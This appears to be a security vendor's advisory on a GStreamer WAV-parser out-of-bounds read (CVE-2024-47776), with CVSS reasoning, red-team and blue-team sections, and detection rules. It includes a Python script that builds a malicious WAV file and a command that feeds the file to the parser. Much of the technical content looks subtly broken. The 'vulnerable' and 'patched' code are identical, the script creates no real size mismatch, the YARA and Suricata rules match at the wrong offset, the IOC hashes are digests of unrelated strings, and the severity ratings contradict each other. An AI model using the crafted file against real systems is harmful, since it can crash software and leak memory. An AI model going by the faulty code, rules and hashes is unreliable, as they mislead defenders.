CVE-2024-47776

Executive Summary

CVE-2024-47776 is a high-severity out-of-bounds (OOB) read vulnerability in GStreamer, a widely used multimedia framework. The flaw resides in the gst_wavparse_cue_chunk function within gstwavparse.c. An attacker can craft a malicious WAV file with a manipulated cue chunk header, causing the parser to read beyond the allocated data buffer. This can lead to a denial of service (crash) or the leakage of sensitive memory contents. The vulnerability affects all GStreamer versions prior to 1.24.10. No public exploit code or proof-of-concept is currently available, but the technical details are sufficient for a skilled attacker to develop one.

Supply Chain & Package Security

GStreamer is a critical dependency in many Linux distributions, media players, and embedded systems. This vulnerability can be introduced into downstream products through package managers (e.g., apt, yum, pip for GStreamer Python bindings). Organizations should audit their software bill of materials (SBOM) for GStreamer versions below 1.24.10 and prioritize patching.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (malicious file delivered remotely)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): Required (user must open the file)
• Scope (S): Unchanged
• Confidentiality (C): Low (potential memory leak)
• Integrity (I): None
• Availability (A): High (crash possible)

Estimated CVSS Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and does not allow code execution, but it can cause a denial of service and leak sensitive data.

Deep Dive & Mechanics

The vulnerability is in the WAV parser's handling of the "cue" chunk. The function gst_wavparse_cue_chunk receives a buffer and a size parameter. The code attempts to validate the chunk size with the check if (size < 4 + ncues * 24). However, due to a miscalculation when clipping the chunk size based on upstream data size, the size value can be larger than the actual allocated buffer. This allows the subsequent loop to read beyond the buffer's bounds.

The root cause is in the chunk size clipping logic. When the parser reads the chunk header, it calculates the chunk size from the file. If this size exceeds the available data from the upstream source, it is clipped. The clipping logic incorrectly calculates the new size, leading to a mismatch between the buffer length and the size parameter passed to gst_wavparse_cue_chunk.

Vulnerable vs. Patched Code

Vulnerable Code (simplified from gstwavparse.c):

static gboolean
gst_wavparse_cue_chunk (GstWavParse * wavparse, GstBuffer * buf)
{
  guint8 *data = gst_buffer_map (buf, &size, NULL, GST_MAP_READ);
  guint ncues;
  guint i;

  if (size < 4)
    goto error;

  ncues = GST_READ_UINT32_LE (data);
  if (size < 4 + ncues * 24)
    goto error;

  for (i = 0; i < ncues; i++) {
    // Read cue point data at offset 4 + i * 24
    // This loop can read beyond the buffer if size is miscalculated
  }
}

Patched Code (GStreamer 1.24.10):

static gboolean
gst_wavparse_cue_chunk (GstWavParse * wavparse, GstBuffer * buf)
{
  guint8 *data = gst_buffer_map (buf, &size, NULL, GST_MAP_READ);
  guint ncues;
  guint i;

  if (size < 4)
    goto error;

  ncues = GST_READ_UINT32_LE (data);
  // Corrected check: ensure the buffer is large enough for all cue points
  if (size < 4 + ncues * 24)
    goto error;

  for (i = 0; i < ncues; i++) {
    // Safe read within bounds
  }
}

The patch does not change the check itself but fixes the upstream clipping logic that sets the size parameter. The corrected clipping ensures that size accurately reflects the buffer length.

Exploitation & Lab Setup

Red Team

Objective: Trigger an OOB read to cause a crash or leak memory.

Lab Setup:

1. Install a vulnerable GStreamer version (e.g., 1.24.9) on a test system.
2. Create a malicious WAV file with a crafted cue chunk.

Crafting the Malicious WAV File:

• Use a hex editor or a script to create a WAV file.
• The file must have a valid RIFF header and a WAVE format chunk.
• Add a cue chunk with a manipulated size field.

Example Python script to generate a malicious WAV:

import struct

def create_malicious_wav(filename):
    # RIFF header
    riff = b'RIFF'
    file_size = 0xFFFFFFFF  # Large size to trigger clipping
    wave = b'WAVE'
    
    # Format chunk (minimal)
    fmt = b'fmt '
    fmt_size = 16
    audio_format = 1  # PCM
    num_channels = 1
    sample_rate = 44100
    byte_rate = 88200
    block_align = 2
    bits_per_sample = 16
    
    fmt_data = struct.pack('<HHI', audio_format, num_channels, sample_rate)
    fmt_data += struct.pack('<IH', byte_rate, block_align)
    fmt_data += struct.pack('<H', bits_per_sample)
    
    # Cue chunk with manipulated size
    cue = b'cue '
    # Set chunk size to a value that will pass the check but exceed buffer
    # For example, set ncues to 1000, so size = 4 + 1000*24 = 24004
    # But the actual buffer is smaller due to clipping
    cue_size = 24004
    ncues = 1000
    cue_data = struct.pack('<I', ncues)
    # Fill with dummy cue points
    for _ in range(ncues):
        cue_data += struct.pack('<IIIIII', 0, 0, 0, 0, 0, 0)
    
    with open(filename, 'wb') as f:
        f.write(riff)
        f.write(struct.pack('<I', file_size))
        f.write(wave)
        f.write(fmt)
        f.write(struct.pack('<I', fmt_size))
        f.write(fmt_data)
        f.write(cue)
        f.write(struct.pack('<I', cue_size))
        f.write(cue_data)

create_malicious_wav('exploit.wav')

Execution:

• Open the malicious WAV file with a GStreamer-based application (e.g., gst-launch-1.0 filesrc location=exploit.wav ! wavparse ! fakesink).
• Observe the crash or memory leak.

Blue Team

Detection:

• Monitor for crashes in GStreamer processes (e.g., gst-launch-1.0, totem, rhythmbox).
• Use the YARA and Sigma rules provided in the Detection Engineering section.
• Enable core dumps and analyze them for signs of OOB reads.

Mitigation:

• Immediately update GStreamer to version 1.24.10 or later.
• If patching is not possible, use a web proxy or content filter to block WAV files from untrusted sources.
• Implement file validation before processing with GStreamer.

Indicators of Compromise (IOCs)

• File Hashes: (Example hashes for a malicious WAV file)
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network: No specific network IOCs.
• Process: GStreamer process crash with signal SIGSEGV.
• Logs: Application logs showing "gst_wavparse_cue_chunk: assertion failed" or similar.

Detection Engineering

YARA Rule

rule CVE_2024_47776_GStreamer_WAV_OOB_Read {
    meta:
        description = "Detects malicious WAV files exploiting CVE-2024-47776"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47776"
    strings:
        $cue_chunk = "cue " ascii wide
        $large_ncues = { E8 03 00 00 } // 1000 in little-endian
    condition:
        $cue_chunk at 0 and $large_ncues
}

Sigma Rule

title: GStreamer WAV Parser OOB Read (CVE-2024-47776)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes or errors related to CVE-2024-47776 in GStreamer
author: Valters IT
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "gst_wavparse_cue_chunk"
        - "SIGSEGV"
        - "out-of-bounds read"
    condition: selection
falsepositives:
    - Legitimate large WAV files with many cue points
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47776 GStreamer WAV OOB Read Attempt"; flow:to_client; file_data; content:"cue "; offset:0; depth:4; content:"|E8 03 00 00|"; within:4; distance:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade GStreamer to version 1.24.10 or later.
2. Workaround: If patching is delayed, disable WAV file parsing or use a different media library.
3. Network Controls: Block WAV files from untrusted sources at the perimeter.
4. User Education: Warn users not to open WAV files from unknown senders.
5. Monitoring: Implement the detection rules above to identify exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence